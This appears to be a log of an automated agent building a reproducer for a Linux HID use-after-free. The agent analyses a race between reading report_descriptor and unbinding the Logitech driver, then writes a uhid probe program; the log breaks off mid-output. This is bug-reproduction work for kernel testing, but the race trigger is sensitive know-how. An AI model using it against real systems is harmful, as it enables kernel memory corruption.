drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h=130=struct quickspi_device {
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h-156-
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h:157: u8 *report_descriptor;
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h-158- u8 *input_buf;
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-hid.c=20=static int quickspi_hid_parse(struct hid_device *hid)
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-hid.c-23-
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-hid.c:24: if (qsdev->report_descriptor)
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-hid.c:25: return hid_parse_report(hid, qsdev->report_descriptor,
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-hid.c-26- le16_to_cpu(qsdev->dev_desc.rep_desc_len));
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c=49=static int quickspi_get_device_descriptor(struct quickspi_device *qsdev)
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c-113-
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c:114:int quickspi_get_report_descriptor(struct quickspi_device *qsdev)
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c-115-{
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c=155=void quickspi_handle_input_data(struct quickspi_device *qsdev, u32 buf_len)
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c-180-
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c:181: memcpy(qsdev->report_descriptor, input_body->content, input_len);
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.c-182-
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.h=16=int quickspi_set_report(struct quickspi_device *qsdev, u8 report_type,
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.h-17- unsigned int report_id, void *buf, u32 buf_len);
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.h:18:int quickspi_get_report_descriptor(struct quickspi_device *qsdev);
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-protocol.h-19-
--
drivers/platform/x86/tuxedo/nb04/wmi_ab.c=23=enum {
--
drivers/platform/x86/tuxedo/nb04/wmi_ab.c-31-
drivers/platform/x86/tuxedo/nb04/wmi_ab.c:32:static u8 tux_report_descriptor[327] = {
drivers/platform/x86/tuxedo/nb04/wmi_ab.c-33- 0x05, 0x59, // Usage Page (Lighting and Illumination)
--
drivers/platform/x86/tuxedo/nb04/wmi_ab.c=469=static int tux_ll_parse(struct hid_device *hdev)
drivers/platform/x86/tuxedo/nb04/wmi_ab.c-470-{
drivers/platform/x86/tuxedo/nb04/wmi_ab.c:471: return hid_parse_report(hdev, tux_report_descriptor,
drivers/platform/x86/tuxedo/nb04/wmi_ab.c:472: sizeof(tux_report_descriptor));
drivers/platform/x86/tuxedo/nb04/wmi_ab.c-473-}
--
include/uapi/linux/hidraw.h-21-
include/uapi/linux/hidraw.h:22:struct hidraw_report_descriptor {
include/uapi/linux/hidraw.h-23- __u32 size;
--
include/uapi/linux/hidraw.h=27=struct hidraw_devinfo {
--
include/uapi/linux/hidraw.h-34-#define HIDIOCGRDESCSIZE _IOR('H', 0x01, int)
include/uapi/linux/hidraw.h:35:#define HIDIOCGRDESC _IOR('H', 0x02, struct hidraw_report_descriptor)
include/uapi/linux/hidraw.h-36-#define HIDIOCGRAWINFO _IOR('H', 0x03, struct hidraw_devinfo)
--
samples/hidraw/hid-example.c=43=int main(int argc, char **argv)
--
samples/hidraw/hid-example.c-47- char buf[256];
samples/hidraw/hid-example.c:48: struct hidraw_report_descriptor rpt_desc;
samples/hidraw/hid-example.c-49- struct hidraw_devinfo info;
--
tools/testing/selftests/hid/hid_bpf.c=863=TEST_F(hid_bpf, test_rdesc_fixup)
tools/testing/selftests/hid/hid_bpf.c-864-{
tools/testing/selftests/hid/hid_bpf.c:865: struct hidraw_report_descriptor rpt_desc = {0};
tools/testing/selftests/hid/hid_bpf.c-866- const struct test_program progs[] = {
--
tools/testing/selftests/hid/hidraw.c=241=TEST_F(hidraw, ioctl_rdesc)
tools/testing/selftests/hid/hidraw.c-242-{
tools/testing/selftests/hid/hidraw.c:243: struct hidraw_report_descriptor desc;
tools/testing/selftests/hid/hidraw.c-244- int err;
--
tools/testing/selftests/hid/hidraw.c=259=TEST_F(hidraw, ioctl_rdesc_small_buffer)
tools/testing/selftests/hid/hidraw.c-260-{
tools/testing/selftests/hid/hidraw.c:261: struct hidraw_report_descriptor desc;
tools/testing/selftests/hid/hidraw.c-262- int err;
--
tools/testing/selftests/hid/tests/test_apple_keyboard.py=25=class AppleKeyboard(ArrayKeyboard):
tools/testing/selftests/hid/tests/test_apple_keyboard.py-26- # fmt: off
tools/testing/selftests/hid/tests/test_apple_keyboard.py:27: report_descriptor = [
tools/testing/selftests/hid/tests/test_apple_keyboard.py-28- 0x05, 0x01, # Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_apple_keyboard.py-143- self,
tools/testing/selftests/hid/tests/test_apple_keyboard.py:144: rdesc=report_descriptor,
tools/testing/selftests/hid/tests/test_apple_keyboard.py-145- name="Apple Wireless Keyboard",
--
tools/testing/selftests/hid/tests/test_gamepad.py=204=class SaitekGamepad(JoystickGamepad):
tools/testing/selftests/hid/tests/test_gamepad.py-205- # fmt: off
tools/testing/selftests/hid/tests/test_gamepad.py:206: report_descriptor = [
tools/testing/selftests/hid/tests/test_gamepad.py-207- 0x05, 0x01, # Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_gamepad.py-509-
tools/testing/selftests/hid/tests/test_gamepad.py:510: def __init__(self, rdesc=report_descriptor, name=None):
tools/testing/selftests/hid/tests/test_gamepad.py-511- super().__init__(rdesc, name=name, input_info=(BusType.USB, 0x06A3, 0xFF0D))
--
tools/testing/selftests/hid/tests/test_gamepad.py=515=class AsusGamepad(BaseGamepad):
tools/testing/selftests/hid/tests/test_gamepad.py-516- # fmt: off
tools/testing/selftests/hid/tests/test_gamepad.py:517: report_descriptor = [
tools/testing/selftests/hid/tests/test_gamepad.py-518- 0x05, 0x01, # Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_gamepad.py-607-
tools/testing/selftests/hid/tests/test_gamepad.py:608: def __init__(self, rdesc=report_descriptor, name=None):
tools/testing/selftests/hid/tests/test_gamepad.py-609- super().__init__(rdesc, name=name, input_info=(BusType.USB, 0x18D1, 0x2C40))
--
tools/testing/selftests/hid/tests/test_hid_core.py=30=class TestCollectionOverflow(base.BaseTestCase.TestUhid):
--
tools/testing/selftests/hid/tests/test_hid_core.py-37- # fmt: off
tools/testing/selftests/hid/tests/test_hid_core.py:38: report_descriptor = [
tools/testing/selftests/hid/tests/test_hid_core.py-39- 0x05, 0x01, # .Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_hid_core.py-141- return base.UHIDTestDevice(
tools/testing/selftests/hid/tests/test_hid_core.py:142: name=None, rdesc=report_descriptor, application="Mouse"
tools/testing/selftests/hid/tests/test_hid_core.py-143- )
--
tools/testing/selftests/hid/tests/test_ite_keyboard.py=29=class ITEKeyboard(ArrayKeyboard):
tools/testing/selftests/hid/tests/test_ite_keyboard.py-30- # fmt: off
tools/testing/selftests/hid/tests/test_ite_keyboard.py:31: report_descriptor = [
tools/testing/selftests/hid/tests/test_ite_keyboard.py-32- 0x06, 0x85, 0xff, # Usage Page (Vendor Usage Page 0xff85)
--
tools/testing/selftests/hid/tests/test_ite_keyboard.py-129- self,
tools/testing/selftests/hid/tests/test_ite_keyboard.py:130: rdesc=report_descriptor,
tools/testing/selftests/hid/tests/test_ite_keyboard.py-131- name=None,
--
tools/testing/selftests/hid/tests/test_keyboard.py=86=class PlainKeyboard(BaseKeyboard):
tools/testing/selftests/hid/tests/test_keyboard.py-87- # fmt: off
tools/testing/selftests/hid/tests/test_keyboard.py:88: report_descriptor = [
tools/testing/selftests/hid/tests/test_keyboard.py-89- 0x05, 0x01, # Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_keyboard.py-111-
tools/testing/selftests/hid/tests/test_keyboard.py:112: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_keyboard.py-113- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_keyboard.py=117=class ArrayKeyboard(BaseKeyboard):
tools/testing/selftests/hid/tests/test_keyboard.py-118- # fmt: off
tools/testing/selftests/hid/tests/test_keyboard.py:119: report_descriptor = [
tools/testing/selftests/hid/tests/test_keyboard.py-120- 0x05, 0x01, # Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_keyboard.py-142-
tools/testing/selftests/hid/tests/test_keyboard.py:143: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_keyboard.py-144- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_keyboard.py=173=class LEDKeyboard(ArrayKeyboard):
tools/testing/selftests/hid/tests/test_keyboard.py-174- # fmt: off
tools/testing/selftests/hid/tests/test_keyboard.py:175: report_descriptor = [
tools/testing/selftests/hid/tests/test_keyboard.py-176- 0x05, 0x01, # Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_keyboard.py-210-
tools/testing/selftests/hid/tests/test_keyboard.py:211: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_keyboard.py-212- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_keyboard.py=219=class PrimaxKeyboard(ArrayKeyboard):
tools/testing/selftests/hid/tests/test_keyboard.py-220- # fmt: off
tools/testing/selftests/hid/tests/test_keyboard.py:221: report_descriptor = [
tools/testing/selftests/hid/tests/test_keyboard.py-222- 0x05, 0x01, # Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_keyboard.py-256-
tools/testing/selftests/hid/tests/test_keyboard.py:257: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_keyboard.py-258- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_mouse.py=104=class ButtonMouse(BaseMouse):
tools/testing/selftests/hid/tests/test_mouse.py-105- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:106: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-107- 0x05, 0x01, # .Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_mouse.py-138-
tools/testing/selftests/hid/tests/test_mouse.py:139: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_mouse.py-140- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_mouse.py=164=class WheelMouse(ButtonMouse):
tools/testing/selftests/hid/tests/test_mouse.py-165- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:166: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-167- 0x05, 0x01, # Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_mouse.py-201-
tools/testing/selftests/hid/tests/test_mouse.py:202: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_mouse.py-203- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_mouse.py=207=class TwoWheelMouse(WheelMouse):
tools/testing/selftests/hid/tests/test_mouse.py-208- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:209: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-210- 0x05, 0x01, # Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_mouse.py-245-
tools/testing/selftests/hid/tests/test_mouse.py:246: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_mouse.py-247- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_mouse.py=251=class MIDongleMIWirelessMouse(TwoWheelMouse):
tools/testing/selftests/hid/tests/test_mouse.py-252- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:253: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-254- 0x05, 0x01, # Usage Page (Generic Desktop)
--
tools/testing/selftests/hid/tests/test_mouse.py-326- def __init__(
tools/testing/selftests/hid/tests/test_mouse.py:327: self, rdesc=report_descriptor, name=device_name, input_info=device_input_info
tools/testing/selftests/hid/tests/test_mouse.py-328- ):
--
tools/testing/selftests/hid/tests/test_mouse.py=344=class ResolutionMultiplierMouse(TwoWheelMouse):
tools/testing/selftests/hid/tests/test_mouse.py-345- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:346: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-347- 0x05, 0x01, # Usage Page (Generic Desktop) 83
--
tools/testing/selftests/hid/tests/test_mouse.py-407-
tools/testing/selftests/hid/tests/test_mouse.py:408: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_mouse.py-409- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_mouse.py=442=class BadReportDescriptorMouse(BaseMouse):
--
tools/testing/selftests/hid/tests/test_mouse.py-457- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:458: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-459- 0x96, 0x01, 0x00, # Report Count (1) 0
--
tools/testing/selftests/hid/tests/test_mouse.py-470- def __init__(
tools/testing/selftests/hid/tests/test_mouse.py:471: self, rdesc=report_descriptor, name=None, input_info=(3, 0x045E, 0x07DA)
tools/testing/selftests/hid/tests/test_mouse.py-472- ):
--
tools/testing/selftests/hid/tests/test_mouse.py=504=class ResolutionMultiplierHWheelMouse(TwoWheelMouse):
tools/testing/selftests/hid/tests/test_mouse.py-505- # fmt: off
tools/testing/selftests/hid/tests/test_mouse.py:506: report_descriptor = [
tools/testing/selftests/hid/tests/test_mouse.py-507- 0x05, 0x01, # Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_mouse.py-582-
tools/testing/selftests/hid/tests/test_mouse.py:583: def __init__(self, rdesc=report_descriptor, name=None, input_info=None):
tools/testing/selftests/hid/tests/test_mouse.py-584- super().__init__(rdesc, name, input_info)
--
tools/testing/selftests/hid/tests/test_usb_crash.py=18=class USBDev(base.UHIDTestDevice):
tools/testing/selftests/hid/tests/test_usb_crash.py-19- # fmt: off
tools/testing/selftests/hid/tests/test_usb_crash.py:20: report_descriptor = [
tools/testing/selftests/hid/tests/test_usb_crash.py-21- 0x05, 0x01, # .Usage Page (Generic Desktop) 0
--
tools/testing/selftests/hid/tests/test_usb_crash.py-54- super().__init__(
tools/testing/selftests/hid/tests/test_usb_crash.py:55: name, "Mouse", input_info=input_info, rdesc=USBDev.report_descriptor
tools/testing/selftests/hid/tests/test_usb_crash.py-56- )
--
tools/testing/selftests/hid/tests/test_wacom_generic.py=331=class OpaqueTablet(BaseTablet):
--
tools/testing/selftests/hid/tests/test_wacom_generic.py-343- # fmt: off
tools/testing/selftests/hid/tests/test_wacom_generic.py:344: report_descriptor = [
tools/testing/selftests/hid/tests/test_wacom_generic.py-345- 0x05, 0x0D, # . Usage Page (Digitizer),
]
]
|
| 86/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 31501
output: 44
thoughts: 289
Thoughts: **Analyzing the Reproducer and Report Descriptor Issue**
Okay, so I'm looking at this reproducer, and the core of the issue seems to stem from how the `report_descriptor` sysfs attribute is handled within the HID subsystem. My first thought is that the attribute is created during the `hid_add_device` process. Wait, that's right, `hid_add_device` calls `device_add`, which is responsible for the sysfs attribute creation. The specific attribute in question is, of course, `report_descriptor`.
Now, the user's provided code opens `/sys/bus/hid/drivers/logitech/bind` and `/sys/bus/hid/drivers/logitech/unbind`. So, the driver name is "logitech". The device in question is likely named something similar to `0003:046D:C293.0001`. This reproducer binds and unbinds the driver. The critical piece here is what happens during the unbind. When the driver is unbound, `hid_device_remove` is called. That in turn, calls `hid_close_report`. That's where I need to focus.
`hid_close_report` looks like it's where the descriptor is being freed. The code *only* frees `hdev->rdesc` if it satisfies this condition: `device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc`. That's the crux of it. We need to understand when and why that condition isn't met.
The driver in question is the `hid-lg` driver, which has a `report_fixup` callback – `lg_report_fixup`. Time to go digging into `lg_report_fixup` to see what it's doing with the report descriptor and understand how that may affect the free-ing of `hdev->rdesc` at unbind. The fixup likely has something to do with the report descriptor, or, maybe, modifies it.
|
| 87/4 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-lg.c IncludeLines:true Name:lg_report_fixup]
Results: map[SourceCode: 425: /*
426: * Certain Logitech keyboards send in report #3 keys which are far
427: * above the logical maximum described in descriptor. This extends
428: * the original value of 0x28c of logical maximum to 0x104d
429: */
430: static const __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc,
431: unsigned int *rsize)
432: {
433: struct lg_drv_data *drv_data = hid_get_drvdata(hdev);
434:
435: if ((drv_data->quirks & LG_RDESC) && *rsize >= 91 && rdesc[83] == 0x26 &&
436: rdesc[84] == 0x8c && rdesc[85] == 0x02) {
437: hid_info(hdev,
438: "fixing up Logitech keyboard report descriptor\n");
439: rdesc[84] = rdesc[89] = 0x4d;
440: rdesc[85] = rdesc[90] = 0x10;
441: }
442: if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 51 &&
443: rdesc[32] == 0x81 && rdesc[33] == 0x06 &&
444: rdesc[49] == 0x81 && rdesc[50] == 0x06) {
445: hid_info(hdev,
446: "fixing up rel/abs in Logitech report descriptor\n");
447: rdesc[33] = rdesc[50] = 0x02;
448: }
449:
450: switch (hdev->product) {
451:
452: case USB_DEVICE_ID_LOGITECH_WINGMAN_FG:
453: if (*rsize == FG_RDESC_ORIG_SIZE) {
454: hid_info(hdev,
455: "fixing up Logitech Wingman Formula GP report descriptor\n");
456: *rsize = sizeof(fg_rdesc_fixed);
457: return fg_rdesc_fixed;
458: } else {
459: hid_info(hdev,
460: "rdesc size test failed for formula gp\n");
461: }
462: break;
463:
464:
465: case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
466: if (*rsize == FFG_RDESC_ORIG_SIZE) {
467: hid_info(hdev,
468: "fixing up Logitech Wingman Formula Force GP report descriptor\n");
469: *rsize = sizeof(ffg_rdesc_fixed);
470: return ffg_rdesc_fixed;
471: }
472: break;
473:
474: /* Several wheels report as this id when operating in emulation mode. */
475: case USB_DEVICE_ID_LOGITECH_WHEEL:
476: if (*rsize == DF_RDESC_ORIG_SIZE) {
477: hid_info(hdev,
478: "fixing up Logitech Driving Force report descriptor\n");
479: *rsize = sizeof(df_rdesc_fixed);
480: return df_rdesc_fixed;
481: }
482: break;
483:
484: case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL:
485: if (*rsize == MOMO_RDESC_ORIG_SIZE) {
486: hid_info(hdev,
487: "fixing up Logitech Momo Force (Red) report descriptor\n");
488: *rsize = sizeof(momo_rdesc_fixed);
489: return momo_rdesc_fixed;
490: }
491: break;
492:
493: case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL2:
494: if (*rsize == MOMO2_RDESC_ORIG_SIZE) {
495: hid_info(hdev,
496: "fixing up Logitech Momo Racing Force (Black) report descriptor\n");
497: *rsize = sizeof(momo2_rdesc_fixed);
498: return momo2_rdesc_fixed;
499: }
500: break;
501:
502: case USB_DEVICE_ID_LOGITECH_VIBRATION_WHEEL:
503: if (*rsize == FV_RDESC_ORIG_SIZE) {
504: hid_info(hdev,
505: "fixing up Logitech Formula Vibration report descriptor\n");
506: *rsize = sizeof(fv_rdesc_fixed);
507: return fv_rdesc_fixed;
508: }
509: break;
510:
511: case USB_DEVICE_ID_LOGITECH_DFP_WHEEL:
512: if (*rsize == DFP_RDESC_ORIG_SIZE) {
513: hid_info(hdev,
514: "fixing up Logitech Driving Force Pro report descriptor\n");
515: *rsize = sizeof(dfp_rdesc_fixed);
516: return dfp_rdesc_fixed;
517: }
518: break;
519:
520: case USB_DEVICE_ID_LOGITECH_WII_WHEEL:
521: if (*rsize >= 101 && rdesc[41] == 0x95 && rdesc[42] == 0x0B &&
522: rdesc[47] == 0x05 && rdesc[48] == 0x09) {
523: hid_info(hdev, "fixing up Logitech Speed Force Wireless report descriptor\n");
524: rdesc[41] = 0x05;
525: rdesc[42] = 0x09;
526: rdesc[47] = 0x95;
527: rdesc[48] = 0x0B;
528: }
529: break;
530: }
531:
532: return rdesc;
533: }
SourceFile:drivers/hid/hid-lg.c]
|
| 88/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 34175
output: 23
thoughts: 49
Thoughts: **Analyzing the Reproducer's Logitech WingMan Force Feedback Gamepad ID**
Okay, so the user's reproducer is specifically targeting a Logitech WingMan Force Feedback Gamepad, identified by `USB_DEVICE_ID_LOGITECH_WINGMAN_FFG`, which I know from my research is `0xc293`. My immediate thought is, "Right, good, a known quantity to start with." Now, I need to understand how the reproducer is interacting with the device and, more importantly, *why* it's causing an issue. To begin, I should examine how the device is configured. Let me cross-reference this device ID, with other data. Right, I should be looking at `FFG_RDESC_ORIG_SIZE`. It's likely this variable holds the original size of a relevant descriptor for force feedback. Understanding this is essential in determining if this gamepads descriptors are handled correctly.
|
| 89/4 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:FFG_RDESC_ORIG_SIZE]
Results: map[Output:drivers/hid/hid-lg.c-48-#define MOMO2_RDESC_ORIG_SIZE 87
drivers/hid/hid-lg.c:49:#define FFG_RDESC_ORIG_SIZE 85
drivers/hid/hid-lg.c-50-#define FG_RDESC_ORIG_SIZE 82
--
drivers/hid/hid-lg.c=430=static const __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc,
--
drivers/hid/hid-lg.c-465- case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
drivers/hid/hid-lg.c:466: if (*rsize == FFG_RDESC_ORIG_SIZE) {
drivers/hid/hid-lg.c-467- hid_info(hdev,
]
|
| 90/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 34670
output: 43
thoughts: 98
Thoughts: **Analyzing the Reproducer and Report Descriptor Handling**
Okay, so I'm looking at this reproducer, and the critical thing seems to be the report descriptor size, explicitly set to 85. That `ev.u.create2.rd_size = 85;` assignment is a key data point. I immediately know this will make `lg_report_fixup` kick in and return `ffg_rdesc_fixed`, which is a different memory location than the original pointer. This is a common pattern for handling potentially malformed or oversized descriptors. Then, I see `hid_parse` subsequently allocate a *new* report descriptor using `kmemdup`. Now, let me retrace my steps... `hid_parse` *calls* `hid_open_report`, so that's where I need to focus my attention. It looks like a potential double-free scenario, or perhaps a use-after-free issue, depending on how these different descriptors are managed and freed further down the line. I need to understand the lifecycle of both the original descriptor and the fixed descriptor within this code path. This could become really interesting, really fast.
|
| 91/4 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_open_report]
Results: map[SourceCode:1332: /**
1333: * hid_open_report - open a driver-specific device report
1334: *
1335: * @device: hid device
1336: *
1337: * Parse a report description into a hid_device structure. Reports are
1338: * enumerated, fields are attached to these reports.
1339: * 0 returned on success, otherwise nonzero error value.
1340: *
1341: * This function (or the equivalent hid_parse() macro) should only be
1342: * called from probe() in drivers, before starting the device.
1343: */
1344: int hid_open_report(struct hid_device *device)
1345: {
1346: unsigned int size;
1347: const u8 *start;
1348: int error;
1349:
1350: if (WARN_ON(device->status & HID_STAT_PARSED))
1351: return -EBUSY;
1352:
1353: start = device->bpf_rdesc;
1354: if (WARN_ON(!start))
1355: return -ENODEV;
1356: size = device->bpf_rsize;
1357:
1358: if (device->driver->report_fixup) {
1359: /*
1360: * device->driver->report_fixup() needs to work
1361: * on a copy of our report descriptor so it can
1362: * change it.
1363: */
1364: u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
1365:
1366: if (!buf)
1367: return -ENOMEM;
1368:
1369: start = device->driver->report_fixup(device, buf, &size);
1370:
1371: /*
1372: * The second kmemdup is required in case report_fixup() returns
1373: * a static read-only memory, but we have no idea if that memory
1374: * needs to be cleaned up or not at the end.
1375: */
1376: start = kmemdup(start, size, GFP_KERNEL);
1377: if (!start)
1378: return -ENOMEM;
1379: }
1380:
1381: device->rdesc = start;
1382: device->rsize = size;
1383:
1384: error = hid_parse_collections(device);
1385: if (error) {
1386: hid_close_report(device);
1387: return error;
1388: }
1389:
1390: return 0;
1391: }
SourceFile:drivers/hid/hid-core.c]
|
| 92/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 35891
output: 1075
thoughts: 538
Thoughts: **My Analysis of the HID Report Descriptor Race and Initial Probe Plan**
Okay, so I've been thinking about this HID report descriptor race, and here's where I'm at. I've confirmed that `hid_open_report` does indeed allocate `device->rdesc` using `kmemdup`. And then, `hid_close_report` subsequently frees it as long as it isn't the statically allocated `dev_rdesc` or `bpf_rdesc`. So, the race condition is definitively between `report_descriptor_read` and `hid_close_report`, as expected.
Now, let's refine the reproduction strategy. The user's reproducer leverages `pthread` and `bind`/`unbind`. While `race` toolkit could help in making the race more reliable, the `bind`/`unbind` operations are a little slow, and relying on `WAIT_ON` might not be the most efficient approach here. However, both `report_descriptor_read` and `hid_close_report` are, in themselves, very fast. The slowness of `bind`/`unbind` means that simply running them in a loop on two CPUs could potentially trigger KASAN fairly reliably. And, as a plus, that `report_descriptor_read` uses `pread` with an offset of 0, like this:
```c
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
```
That's useful.
The next thing I need to do is confirm the availability and usage of `uhid`. The user's reproducer uses `/dev/uhid`. I need to ensure that this device file is accessible. If not, I'll need to either load the `uhid` module or just exit gracefully. It's usually available in syzkaller, but I need to make sure.
Now, wait, the prompt reminds me that, for this initial attempt, a simple probe program is best. Its purpose is to verify the test environment has the right capabilities. It should probe the specific kernel subsystems, device files, or syscalls needed.
Alright, so I'll prioritize generating a probe program first. The probe program should follow these steps:
1. **Open `/dev/uhid`.**
2. **Create a uhid device.**
3. **Wait for the device to appear in `/sys/bus/hid/devices/`.**
4. **Check if `/sys/bus/hid/drivers/logitech/bind` exists.**
5. **Open the `report_descriptor` file.**
6. **Exit with 0 if all steps succeed.**
I will now proceed to write this probe program.
|
| 93/4 |
2026/05/19 10:07 |
tool |
set-results |
0m
Args: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
int main() {
SETUP_UNBUFFERED_IO();
printf("[*] Probing for /dev/uhid...\n");
int uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/uhid opened successfully.\n");
printf("[*] Creating virtual HID device...\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write to /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] Virtual HID device created.\n");
printf("[*] Waiting for device to appear in sysfs...\n");
char dev_name[256] = {0};
for (int i = 0; i < 50; i++) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (dir) {
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found in /sys/bus/hid/devices/\n");
return 1;
}
printf("[+] Device found: %s\n", dev_name);
printf("[*] Checking for hid-logitech driver...\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
if (bind_fd < 0) {
printf("[-] Failed to open /sys/bus/hid/drivers/logitech/bind: %s\n", strerror(errno));
return 1;
}
close(bind_fd);
printf("[+] hid-logitech driver is available.\n");
printf("[*] Checking for report_descriptor file...\n");
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
close(fd);
printf("[+] report_descriptor file opened successfully.\n");
printf("[*] Cleaning up...\n");
memset(&ev, 0, sizeof(ev));
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Probe successful.\n");
return 0;
}
]
Results: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
int main() {
SETUP_UNBUFFERED_IO();
printf("[*] Probing for /dev/uhid...\n");
int uhid_fd = open("/dev/uhid", O_RDWR);
